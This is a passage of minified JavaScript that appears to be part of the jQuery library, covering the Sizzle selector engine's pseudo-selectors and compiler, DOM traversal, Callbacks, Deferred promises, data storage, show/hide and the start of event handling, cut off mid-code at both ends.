if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function $(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new 